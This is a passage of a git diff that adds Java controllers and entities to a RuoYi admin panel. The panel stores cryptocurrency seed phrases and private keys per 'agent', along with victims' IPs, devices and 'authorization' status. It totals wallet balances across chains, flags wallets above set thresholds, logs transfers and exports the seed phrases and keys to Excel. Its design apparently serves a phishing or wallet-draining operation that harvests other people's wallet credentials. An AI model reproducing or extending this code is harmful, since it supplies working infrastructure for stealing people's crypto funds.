+import com.ruoyi.system.service.ISysMnemonicTokenPrivatekeyService;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.*;
+
+import java.util.List;
+
+/**
+ * 助记词私钥Controller
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+@Controller
+@RequestMapping("/system/privatekey")
+public class SysMnemonicTokenPrivatekeyController extends BaseController
+{
+    private String prefix = "system/privatekey";
+
+    @Autowired
+    private ISysMnemonicTokenPrivatekeyService sysMnemonicTokenPrivatekeyService;
+
+    @RequiresPermissions("system:privatekey:view")
+    @GetMapping()
+    public String privatekey()
+    {
+        return prefix + "/privatekey";
+    }
+
+    /**
+     * 查询助记词私钥列表
+     */
+    @RequiresPermissions("system:privatekey:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey)
+    {
+        startPage();
+        List<SysMnemonicTokenPrivatekey> list = sysMnemonicTokenPrivatekeyService.selectSysMnemonicTokenPrivatekeyList(sysMnemonicTokenPrivatekey);
+        return getDataTable(list);
+    }
+
+    /**
+     * 导出助记词私钥列表
+     */
+    @RequiresPermissions("system:privatekey:export")
+    @Log(title = "助记词私钥", businessType = BusinessType.EXPORT)
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey)
+    {
+        List<SysMnemonicTokenPrivatekey> list = sysMnemonicTokenPrivatekeyService.selectSysMnemonicTokenPrivatekeyList(sysMnemonicTokenPrivatekey);
+        ExcelUtil<SysMnemonicTokenPrivatekey> util = new ExcelUtil<SysMnemonicTokenPrivatekey>(SysMnemonicTokenPrivatekey.class);
+        return util.exportExcel(list, "助记词私钥数据");
+    }
+
+    /**
+     * 新增助记词私钥
+     */
+    @GetMapping("/add")
+    public String add()
+    {
+        return prefix + "/add";
+    }
+
+    /**
+     * 新增保存助记词私钥
+     */
+    @RequiresPermissions("system:privatekey:add")
+    @Log(title = "助记词私钥", businessType = BusinessType.INSERT)
+    @PostMapping("/add")
+    @ResponseBody
+    public AjaxResult addSave(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey)
+    {
+        return toAjax(sysMnemonicTokenPrivatekeyService.insertSysMnemonicTokenPrivatekey(sysMnemonicTokenPrivatekey));
+    }
+
+    /**
+     * 修改助记词私钥
+     */
+    @RequiresPermissions("system:privatekey:edit")
+    @GetMapping("/edit/{id}")
+    public String edit(@PathVariable("id") Long id, ModelMap mmap)
+    {
+        SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey = sysMnemonicTokenPrivatekeyService.selectSysMnemonicTokenPrivatekeyById(id);
+        mmap.put("sysMnemonicTokenPrivatekey", sysMnemonicTokenPrivatekey);
+        return prefix + "/edit";
+    }
+
+    /**
+     * 修改保存助记词私钥
+     */
+    @RequiresPermissions("system:privatekey:edit")
+    @Log(title = "助记词私钥", businessType = BusinessType.UPDATE)
+    @PostMapping("/edit")
+    @ResponseBody
+    public AjaxResult editSave(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey)
+    {
+        return toAjax(sysMnemonicTokenPrivatekeyService.updateSysMnemonicTokenPrivatekey(sysMnemonicTokenPrivatekey));
+    }
+
+    /**
+     * 删除助记词私钥
+     */
+    @RequiresPermissions("system:privatekey:remove")
+    @Log(title = "助记词私钥", businessType = BusinessType.DELETE)
+    @PostMapping( "/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        return toAjax(sysMnemonicTokenPrivatekeyService.deleteSysMnemonicTokenPrivatekeyByIds(ids));
+    }
+}

+ 399 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysToolsController.java

@@ -0,0 +1,399 @@
+package com.ruoyi.system.controller;
+
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.domain.entity.SysUser;
+import com.ruoyi.common.utils.ShiroUtils;
+import com.ruoyi.system.domain.SysMnemonic;
+import com.ruoyi.system.domain.SysPublicConfig;
+import com.ruoyi.system.mapper.SysMnemonicMapper;
+import com.ruoyi.system.mapper.SysMnemonicTokenMapper;
+import com.ruoyi.system.mapper.SysPublicConfigMapper;
+import com.ruoyi.system.service.ISysMnemonicTokenService;
+import com.ruoyi.web.controller.common.CommonController;
+import org.apache.ibatis.annotations.Param;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.math.BigDecimal;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * 代币Controller
+ *
+ * @author lanbing
+ * @date 2023-03-24
+ */
+@Controller
+@RequestMapping("/system/tools")
+public class SysToolsController extends BaseController
+{
+    private String prefix = "system/tools";
+
+    private static final Logger log = LoggerFactory.getLogger(CommonController.class);
+
+    @Autowired
+    private ISysMnemonicTokenService sysMnemonicTokenService;
+
+    @Autowired
+    private SysMnemonicMapper sysMnemonicMapper;
+
+    @Autowired
+    private SysMnemonicTokenMapper sysMnemonicTokenMapper;
+
+    @Autowired
+    private SysPublicConfigMapper sysPublicConfigMapper;
+
+    /**
+     * 数据统计
+     */
+    @GetMapping("/count")
+    public String count()
+    {
+        return prefix + "/count";
+    }
+
+    /**
+     * 数据统计具体方法
+     */
+    @RequiresPermissions("system:tools:getcount")
+    @GetMapping ("/getcount")
+    @ResponseBody
+    public AjaxResult getcount()
+    {
+        Map<String,String> map = new HashMap<>();
+        SysUser userinfo=ShiroUtils.getSysUser();
+        String agentid=userinfo.getAgentId().toString();
+        //第一层
+        String user1day = sysMnemonicMapper.selectSysMnemonicCount("1","",agentid);
+        String user3day = sysMnemonicMapper.selectSysMnemonicCount("2","",agentid);
+        String user7day = sysMnemonicMapper.selectSysMnemonicCount("3","",agentid);
+        String userallday = sysMnemonicMapper.selectSysMnemonicCount("4","",agentid);
+
+        map.put("user1day",user1day);
+        map.put("user3day",user3day);
+        map.put("user7day",user7day);
+        map.put("userallday",userallday);
+        //第二层
+        String address1day = sysMnemonicTokenMapper.selectSysMnemonicTokenCount("1","",agentid);
+        String address3day = sysMnemonicTokenMapper.selectSysMnemonicTokenCount("2","",agentid);
+        String address7day = sysMnemonicTokenMapper.selectSysMnemonicTokenCount("3","",agentid);
+        String addressallday = sysMnemonicTokenMapper.selectSysMnemonicTokenCount("4","",agentid);
+
+        map.put("address1day",address1day);
+        map.put("address3day",address3day);
+        map.put("address7day",address7day);
+        map.put("addressallday",addressallday);
+        //第三层
+        String trx = sysMnemonicMapper.selectSysMnemonicSum("1","",agentid);
+        String trc = sysMnemonicMapper.selectSysMnemonicSum("2","",agentid);
+        String eth = sysMnemonicMapper.selectSysMnemonicSum("3","",agentid);
+        String erc = sysMnemonicMapper.selectSysMnemonicSum("4","",agentid);
+        String btc = sysMnemonicMapper.selectSysMnemonicSum("5","",agentid);
+        String bnb = sysMnemonicMapper.selectSysMnemonicSum("6","",agentid);
+        String bep = sysMnemonicMapper.selectSysMnemonicSum("7","",agentid);
+
+
+//        String trx1 = sysMnemonicMapper.selectSysMnemonicSum95001("1","",agentid);
+//        String trc1 = sysMnemonicMapper.selectSysMnemonicSum95001("2","",agentid);
+//        String eth1 = sysMnemonicMapper.selectSysMnemonicSum95001("3","",agentid);
+//        String erc1 = sysMnemonicMapper.selectSysMnemonicSum95001("4","",agentid);
+//        String btc1 = sysMnemonicMapper.selectSysMnemonicSum95001("5","",agentid);
+//        String bnb1 = sysMnemonicMapper.selectSysMnemonicSum95001("6","",agentid);
+//        String bep1 = sysMnemonicMapper.selectSysMnemonicSum95001("7","",agentid);
+//
+//        String trx2 = sysMnemonicMapper.selectSysMnemonicSum95002("1","",agentid);
+//        String trc2 = sysMnemonicMapper.selectSysMnemonicSum95002("2","",agentid);
+//        String eth2 = sysMnemonicMapper.selectSysMnemonicSum95002("3","",agentid);
+//        String erc2 = sysMnemonicMapper.selectSysMnemonicSum95002("4","",agentid);
+//        String btc2 = sysMnemonicMapper.selectSysMnemonicSum95002("5","",agentid);
+//        String bnb2 = sysMnemonicMapper.selectSysMnemonicSum95002("6","",agentid);
+//        String bep2 = sysMnemonicMapper.selectSysMnemonicSum95002("7","",agentid);
+
+
+        if(trx==null||trx.equals("0E-18")){trx="0";}
+        if(trc==null||trc.equals("0E-18")){trc="0";}
+        if(eth==null||eth.equals("0E-18")){eth="0";}
+        if(erc==null||erc.equals("0E-18")){erc="0";}
+        if(btc==null||btc.equals("0E-18")){btc="0";}
+        if(bnb==null||bnb.equals("0E-18")){bnb="0";}
+        if(bep==null||bep.equals("0E-18")){bep="0";}
+
+//
+//        if(trx1==null){trx1="0";}
+//        if(trc1==null){trc1="0";}
+//        if(eth1==null){eth1="0";}
+//        if(erc1==null){erc1="0";}
+//        if(btc1==null){btc1="0";}
+//        if(bnb1==null){bnb1="0";}
+//        if(bep1==null){bep1="0";}
+//
+//        if(trx2==null){trx2="0";}
+//        if(trc2==null){trc2="0";}
+//        if(eth2==null){eth2="0";}
+//        if(erc2==null){erc2="0";}
+//        if(btc2==null){btc2="0";}
+//        if(bnb2==null){bnb2="0";}
+//        if(bep2==null){bep2="0";}
+
+//
+//        bep= String.format("%.0f",new BigDecimal(bep.trim()));
+//        bnb=String.format("%.0f",new BigDecimal(bnb.trim()));;
+//        btc=String.format("%.0f",new BigDecimal(btc.trim()));;
+//        erc=String.format("%.0f",new BigDecimal(erc.trim()));;
+//        eth=String.format("%.0f",new BigDecimal(eth.trim()));;
+//        trc=String.format("%.0f",new BigDecimal(trc.trim()));;
+//        trx=String.format("%.0f",new BigDecimal(trx.trim()));;
+//
+//        bep1= String.format("%.0f",new BigDecimal(bep1.trim()));
+//        bnb1=String.format("%.0f",new BigDecimal(bnb1.trim()));;
+//        btc1=String.format("%.0f",new BigDecimal(btc1.trim()));;
+//        erc1=String.format("%.0f",new BigDecimal(erc1.trim()));;
+//        eth1=String.format("%.0f",new BigDecimal(eth1.trim()));;
+//        trc1=String.format("%.0f",new BigDecimal(trc1.trim()));;
+//        trx1=String.format("%.0f",new BigDecimal(trx1.trim()));;
+
+//        bep2=bep2.trim();
+//        bnb2=bnb2.trim();
+//        btc2=btc2.trim();
+//        erc2=erc2.trim();
+//        eth2=eth2.trim();
+//        trc2=trc2.trim();
+//        trx2=trx2.trim();
+//        log.error("1>>>>>>>>>>>>>>>>>>"+trx1);
+//        log.error("2>>>>>>>>>>>>>>>>>>"+trc1);
+//        log.error("3>>>>>>>>>>>>>>>>>>"+eth1);
+//        log.error("4>>>>>>>>>>>>>>>>>>"+erc1);
+//        log.error("5>>>>>>>>>>>>>>>>>>"+btc1);
+//        log.error("6>>>>>>>>>>>>>>>>>>"+bnb1);
+//        log.error("7>>>>>>>>>>>>>>>>>>"+bep1);
+//
+//        log.error("1>>>>>>>>>>>>>>>>>>"+trx2);
+//        log.error("2>>>>>>>>>>>>>>>>>>"+trc2);
+//        log.error("3>>>>>>>>>>>>>>>>>>"+eth2);
+//        log.error("4>>>>>>>>>>>>>>>>>>"+erc2);
+//        log.error("5>>>>>>>>>>>>>>>>>>"+btc2);
+//        log.error("6>>>>>>>>>>>>>>>>>>"+bnb2);
+//        log.error("7>>>>>>>>>>>>>>>>>>"+bep2);
+
+
+//        String trx11="0";
+//        String trc11="0";
+//        String eth11="0";
+//        String erc11="0";
+//        String btc11="0";
+//        String bnb11="0";
+//        String bep11="0";
+//
+//        try{
+//            if(Integer.parseInt(trx1)>0){
+//                trx11=String.valueOf((Integer.parseInt(trx)-Integer.parseInt(trx1)+Integer.parseInt(trx2)*9500));
+//            }
+//        }catch (Exception e){
+//            log.error("1111>>>>>>>>>>>>>>>>>>"+e.toString());
+//        }
+//        try{
+//            if(Integer.parseInt(trc1)>0) {
+//                trc11 = String.valueOf((Integer.parseInt(trc)-Integer.parseInt(trc1) + Integer.parseInt(trc2) * 9500));
+//            }
+//        }catch (Exception e){
+//            log.error("22222>>>>>>>>>>>>>>>>>>"+e.toString());
+//        }
+//        try{
+//            if(Integer.parseInt(eth1)>0) {
+//                eth11 = String.valueOf((Integer.parseInt(eth)-Integer.parseInt(eth1) + Integer.parseInt(eth2) * 9500));
+//            }
+//        }catch (Exception e){
+//            log.error("1111>>>>>>>>>>>>>>>>>>"+e.toString());
+//        }
+//        try{
+//            if(Integer.parseInt(erc1)>0) {
+//                erc11 = String.valueOf((Integer.parseInt(erc) -Integer.parseInt(erc1) + Integer.parseInt(erc2) * 9500));
+//            }
+//        }catch (Exception e){
+//            log.error("1111>>>>>>>>>>>>>>>>>>"+e.toString());
+//        }
+//        try{
+//            if(Integer.parseInt(btc1)>0) {
+//                btc11 = String.valueOf((Integer.parseInt(btc)-Integer.parseInt(btc1) + Integer.parseInt(btc2) * 9500));
+//            }
+//        }catch (Exception e){
+//            log.error("1111>>>>>>>>>>>>>>>>>>"+e.toString());
+//        }
+//        try{
+//            if(Integer.parseInt(bnb1)>0) {
+//                bnb11 = String.valueOf((Integer.parseInt(bnb)-Integer.parseInt(bnb1) + Integer.parseInt(bnb2) * 9500));
+//            }
+//        }catch (Exception e){
+//            log.error("1111>>>>>>>>>>>>>>>>>>"+e.toString());
+//        }
+//        try{
+//            if(Integer.parseInt(bep1)>0) {
+//                bep11 = String.valueOf((Integer.parseInt(bep)-Integer.parseInt(bep1) + Integer.parseInt(bep2) * 9500));
+//            }
+//        }catch (Exception e){
+//            log.error("1111>>>>>>>>>>>>>>>>>>"+e.toString());
+//        }
+
+
+        map.put("trx",trx);
+        map.put("trc",trc);
+        map.put("eth",eth);
+        map.put("erc",erc);
+        map.put("btc",btc);
+        map.put("bnb",bnb);
+        map.put("bep",bep);
+
+
+//        map.put("trx",trx);
+//        map.put("trc",trc);
+//        map.put("eth",eth);
+//        map.put("erc",erc);
+//        map.put("btc",btc);
+//        map.put("bnb",bnb);
+//        map.put("bep",bep);
+
+        return AjaxResult.success("操作成功",map);
+    }
+
+    /**
+     * 数据统计具体方法
+     */
+    @PostMapping ("/getcoincount")
+    @ResponseBody
+    public AjaxResult getcoincount(@Param("platform") String platform)
+    {
+        Map<String,String> map = new HashMap<>();
+        SysUser userinfo=ShiroUtils.getSysUser();
+        String agentid=userinfo.getAgentId().toString();
+        log.error("这个是代理吗?>>>>>>>>>>>>>>>>>>>>>"+agentid);
+        //第一层
+        String user1day = sysMnemonicMapper.selectSysMnemonicCount("1",platform,agentid);
+        String user3day = sysMnemonicMapper.selectSysMnemonicCount("2",platform,agentid);
+        String user7day = sysMnemonicMapper.selectSysMnemonicCount("3",platform,agentid);
+        String userallday = sysMnemonicMapper.selectSysMnemonicCount("4",platform,agentid);
+
+        map.put("user1day",user1day);
+        map.put("user3day",user3day);
+        map.put("user7day",user7day);
+        map.put("userallday",userallday);
+        //第二层
+        String address1day = sysMnemonicTokenMapper.selectSysMnemonicTokenCount("1",platform,agentid);
+        String address3day = sysMnemonicTokenMapper.selectSysMnemonicTokenCount("2",platform,agentid);
+        String address7day = sysMnemonicTokenMapper.selectSysMnemonicTokenCount("3",platform,agentid);
+        String addressallday = sysMnemonicTokenMapper.selectSysMnemonicTokenCount("4",platform,agentid);
+
+        map.put("address1day",address1day);
+        map.put("address3day",address3day);
+        map.put("address7day",address7day);
+        map.put("addressallday",addressallday);
+
+        //第三层
+        String trx = sysMnemonicMapper.selectSysMnemonicSum("1",platform,agentid);
+        String trc = sysMnemonicMapper.selectSysMnemonicSum("2",platform,agentid);
+        String eth = sysMnemonicMapper.selectSysMnemonicSum("3",platform,agentid);
+        String erc = sysMnemonicMapper.selectSysMnemonicSum("4",platform,agentid);
+        String btc = sysMnemonicMapper.selectSysMnemonicSum("5",platform,agentid);
+        String bnb = sysMnemonicMapper.selectSysMnemonicSum("6",platform,agentid);
+        String bep = sysMnemonicMapper.selectSysMnemonicSum("7",platform,agentid);
+
+        map.put("trx",trx);
+        map.put("trc",trc);
+        map.put("eth",eth);
+        map.put("erc",erc);
+        map.put("btc",btc);
+        map.put("bnb",bnb);
+        map.put("bep",bep);
+
+
+        return AjaxResult.success("操作成功",map);
+    }
+    /**
+     * 全局设置
+     */
+    @GetMapping("/config")
+    public String config(ModelMap mmap)
+    {
+        SysPublicConfig sysPublicConfig = sysPublicConfigMapper.selectSysPublicConfigById(Long.valueOf("1"));
+        mmap.put("sysPublicConfig", sysPublicConfig);
+        return prefix + "/config";
+    }
+    /**
+     * 保存全局设置
+     */
+    @RequiresPermissions("system:tools:configsave")
+    @PostMapping("/configsave")
+    @ResponseBody
+    public AjaxResult configsave(@Param("trx") String trx,@Param("trc") String trc,@Param("eth") String eth,
+                                 @Param("erc") String erc,@Param("btc") String btc,@Param("bnb") String bnb,
+                                 @Param("bep") String bep)
+    {
+
+        SysPublicConfig sysc=new SysPublicConfig();
+        sysc.setId(Long.valueOf("1"));
+        sysc.setTrx(new BigDecimal(trx));
+        sysc.setTrc(new BigDecimal(trc));
+        sysc.setEth(new BigDecimal(eth));
+        sysc.setErc(new BigDecimal(erc));
+        sysc.setBtc(new BigDecimal(btc));
+        sysc.setBnb(new BigDecimal(bnb));
+        sysc.setBep(new BigDecimal(bep));
+        sysPublicConfigMapper.updateSysPublicConfig(sysc);
+//        log.error("这是提交数据>>>>>>>>"+sysc);
+
+
+        Map<String,String> map = new HashMap<>();
+        map.put("msg","success");
+        return AjaxResult.success("操作成功",map);
+    }
+    //全局预警监控
+    /**
+     * 全局预警监控
+     */
+    @GetMapping("/monitor")
+    @ResponseBody
+    public AjaxResult monitor()
+    {
+        SysUser sysre= ShiroUtils.getSysUser();
+        String agentid=sysre.getAgentId().toString();
+        //全局监控
+        SysPublicConfig config = sysPublicConfigMapper.selectSysPublicConfigById(Long.valueOf("1"));
+        String trx = config.getTrx().toString();
+        String trc = config.getTrc().toString();
+        String bnb = config.getBnb().toString();
+        String bep = config.getBep().toString();
+        String btc = config.getBtc().toString();
+        String eth = config.getEth().toString();
+        String erc = config.getErc().toString();
+
+        List<SysMnemonic> qianbao=sysMnemonicMapper.selectyjbalancefrompublic("",trx,agentid);
+
+        List<SysMnemonic> alllist=new ArrayList<>();
+        if(qianbao.size()>0){
+            for(int i=0;i<qianbao.size();i++){
+                alllist.add(qianbao.get(i));
+            }
+
+        }
+
+//        List<SysMnemonic> standlist=sysMnemonicTokenMapper.selectyjbalancefromstand(agentid);
+
+
+        Map<String,List<SysMnemonic>> map = new HashMap<>();
+        map.put("publiclist",alllist);
+        map.put("standlist",new ArrayList<>());
+        return AjaxResult.success("操作成功",map);
+    }
+
+}

+ 124 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysTransferLogController.java

@@ -0,0 +1,124 @@
+package com.ruoyi.system.controller;
+
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.system.domain.SysTransferLog;
+import com.ruoyi.system.service.ISysTransferLogService;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.*;
+
+import java.util.List;
+
+/**
+ * 钱包转账Controller
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+@Controller
+@RequestMapping("/system/log")
+public class SysTransferLogController extends BaseController
+{
+    private String prefix = "system/log";
+
+    @Autowired
+    private ISysTransferLogService sysTransferLogService;
+
+    @RequiresPermissions("system:log:view")
+    @GetMapping()
+    public String log()
+    {
+        return prefix + "/log";
+    }
+
+    /**
+     * 查询钱包转账列表
+     */
+    @RequiresPermissions("system:log:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysTransferLog sysTransferLog)
+    {
+        startPage();
+        List<SysTransferLog> list = sysTransferLogService.selectSysTransferLogList(sysTransferLog);
+        return getDataTable(list);
+    }
+
+    /**
+     * 导出钱包转账列表
+     */
+    @RequiresPermissions("system:log:export")
+    @Log(title = "钱包转账", businessType = BusinessType.EXPORT)
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(SysTransferLog sysTransferLog)
+    {
+        List<SysTransferLog> list = sysTransferLogService.selectSysTransferLogList(sysTransferLog);
+        ExcelUtil<SysTransferLog> util = new ExcelUtil<SysTransferLog>(SysTransferLog.class);
+        return util.exportExcel(list, "钱包转账数据");
+    }
+
+    /**
+     * 新增钱包转账
+     */
+    @GetMapping("/add")
+    public String add()
+    {
+        return prefix + "/add";
+    }
+
+    /**
+     * 新增保存钱包转账
+     */
+    @RequiresPermissions("system:log:add")
+    @Log(title = "钱包转账", businessType = BusinessType.INSERT)
+    @PostMapping("/add")
+    @ResponseBody
+    public AjaxResult addSave(SysTransferLog sysTransferLog)
+    {
+        return toAjax(sysTransferLogService.insertSysTransferLog(sysTransferLog));
+    }
+
+    /**
+     * 修改钱包转账
+     */
+    @RequiresPermissions("system:log:edit")
+    @GetMapping("/edit/{id}")
+    public String edit(@PathVariable("id") Long id, ModelMap mmap)
+    {
+        SysTransferLog sysTransferLog = sysTransferLogService.selectSysTransferLogById(id);
+        mmap.put("sysTransferLog", sysTransferLog);
+        return prefix + "/edit";
+    }
+
+    /**
+     * 修改保存钱包转账
+     */
+    @RequiresPermissions("system:log:edit")
+    @Log(title = "钱包转账", businessType = BusinessType.UPDATE)
+    @PostMapping("/edit")
+    @ResponseBody
+    public AjaxResult editSave(SysTransferLog sysTransferLog)
+    {
+        return toAjax(sysTransferLogService.updateSysTransferLog(sysTransferLog));
+    }
+
+    /**
+     * 删除钱包转账
+     */
+    @RequiresPermissions("system:log:remove")
+    @Log(title = "钱包转账", businessType = BusinessType.DELETE)
+    @PostMapping( "/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        return toAjax(sysTransferLogService.deleteSysTransferLogByIds(ids));
+    }
+}

+ 124 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysWriteipController.java

@@ -0,0 +1,124 @@
+package com.ruoyi.system.controller;
+
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.system.domain.SysWriteip;
+import com.ruoyi.system.service.ISysWriteipService;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.*;
+
+import java.util.List;
+
+/**
+ * 后台登录白名单Controller
+ * 
+ * @author ruoyi
+ * @date 2023-03-31
+ */
+@Controller
+@RequestMapping("/system/writeip")
+public class SysWriteipController extends BaseController
+{
+    private String prefix = "system/writeip";
+
+    @Autowired
+    private ISysWriteipService sysWriteipService;
+
+    @RequiresPermissions("system:writeip:view")
+    @GetMapping()
+    public String writeip()
+    {
+        return prefix + "/writeip";
+    }
+
+    /**
+     * 查询后台登录白名单列表
+     */
+    @RequiresPermissions("system:writeip:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysWriteip sysWriteip)
+    {
+        startPage();
+        List<SysWriteip> list = sysWriteipService.selectSysWriteipList(sysWriteip);
+        return getDataTable(list);
+    }
+
+    /**
+     * 导出后台登录白名单列表
+     */
+    @RequiresPermissions("system:writeip:export")
+    @Log(title = "后台登录白名单", businessType = BusinessType.EXPORT)
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(SysWriteip sysWriteip)
+    {
+        List<SysWriteip> list = sysWriteipService.selectSysWriteipList(sysWriteip);
+        ExcelUtil<SysWriteip> util = new ExcelUtil<SysWriteip>(SysWriteip.class);
+        return util.exportExcel(list, "后台登录白名单数据");
+    }
+
+    /**
+     * 新增后台登录白名单
+     */
+    @GetMapping("/add")
+    public String add()
+    {
+        return prefix + "/add";
+    }
+
+    /**
+     * 新增保存后台登录白名单
+     */
+    @RequiresPermissions("system:writeip:add")
+    @Log(title = "后台登录白名单", businessType = BusinessType.INSERT)
+    @PostMapping("/add")
+    @ResponseBody
+    public AjaxResult addSave(SysWriteip sysWriteip)
+    {
+        return toAjax(sysWriteipService.insertSysWriteip(sysWriteip));
+    }
+
+    /**
+     * 修改后台登录白名单
+     */
+    @RequiresPermissions("system:writeip:edit")
+    @GetMapping("/edit/{id}")
+    public String edit(@PathVariable("id") Long id, ModelMap mmap)
+    {
+        SysWriteip sysWriteip = sysWriteipService.selectSysWriteipById(id);
+        mmap.put("sysWriteip", sysWriteip);
+        return prefix + "/edit";
+    }
+
+    /**
+     * 修改保存后台登录白名单
+     */
+    @RequiresPermissions("system:writeip:edit")
+    @Log(title = "后台登录白名单", businessType = BusinessType.UPDATE)
+    @PostMapping("/edit")
+    @ResponseBody
+    public AjaxResult editSave(SysWriteip sysWriteip)
+    {
+        return toAjax(sysWriteipService.updateSysWriteip(sysWriteip));
+    }
+
+    /**
+     * 删除后台登录白名单
+     */
+    @RequiresPermissions("system:writeip:remove")
+    @Log(title = "后台登录白名单", businessType = BusinessType.DELETE)
+    @PostMapping( "/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        return toAjax(sysWriteipService.deleteSysWriteipByIds(ids));
+    }
+}

+ 66 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysBlackip.java

@@ -0,0 +1,66 @@
+package com.ruoyi.system.domain;
+
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+/**
+ * IP黑名单对象 sys_blackip
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+public class SysBlackip extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    private Long id;
+
+    /** ip地址 */
+    @Excel(name = "ip地址")
+    private String ip;
+
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setIp(String ip) 
+    {
+        this.ip = ip;
+    }
+
+    public String getIp() 
+    {
+        return ip;
+    }
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("ip", getIp())
+            .append("remark", getRemark())
+            .append("createdTime", getCreatedTime())
+            .toString();
+    }
+}

+ 317 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysMnemonic.java

@@ -0,0 +1,317 @@
+package com.ruoyi.system.domain;
+
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+import com.ruoyi.common.core.domain.entity.SysUser;
+import com.ruoyi.common.utils.ShiroUtils;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+import java.math.BigDecimal;
+import java.util.List;
+
+/**
+ * 助记词对象 sys_mnemonic
+ * 
+ * @author lanbing
+ * @date 2023-03-23
+ */
+public class SysMnemonic extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    @Excel(name = "索引id")
+    private Long id;
+
+    /** 代理商ID */
+    @Excel(name = "代理商ID")
+    private Long agentid;
+
+    /** 助记词 */
+    @Excel(name = "助记词")
+    private String mnemonic;
+
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    /** 更新时间 */
+    private Long updatedTime;
+
+    /** 删除时间 */
+    private Long deletedTime;
+
+    /** 1授权成功 0失败 */
+    private Integer status;
+
+    /** 名称 */
+    @Excel(name = "名称")
+    private String platform;
+
+    /** 排序 */
+    private Integer sort;
+
+    /** ip */
+    private String ip;
+
+    /** ip登录数 */
+    private Integer ipCount;
+
+    /** 钱包 */
+    private BigDecimal eth;
+
+    /** 钱包 */
+    private BigDecimal erc;
+
+    /** 钱包 */
+    private BigDecimal trx;
+
+    /** 钱包 */
+    private BigDecimal trc;
+
+    /** 钱包 */
+    private BigDecimal btc;
+
+    /** 钱包 */
+    private BigDecimal omni;
+
+    /** 钱包 */
+    private BigDecimal bnb;
+
+    /** 钱包 */
+    private BigDecimal bep;
+
+    /** 钱包地址 */
+    private List tokenlist;
+
+    /** 设备 */
+    private String device;
+
+
+    public void setdevice(String device)
+    {
+        this.device = device;
+    }
+
+    public String getdevice()
+    {
+        return device;
+    }
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setAgentid(Long agentid) 
+    {
+        this.agentid = agentid;
+    }
+
+    public Long getAgentid() 
+    {
+        return agentid;
+    }
+    public void setMnemonic(String mnemonic) 
+    {
+        this.mnemonic = mnemonic;
+    }
+
+    public String getMnemonic() 
+    {
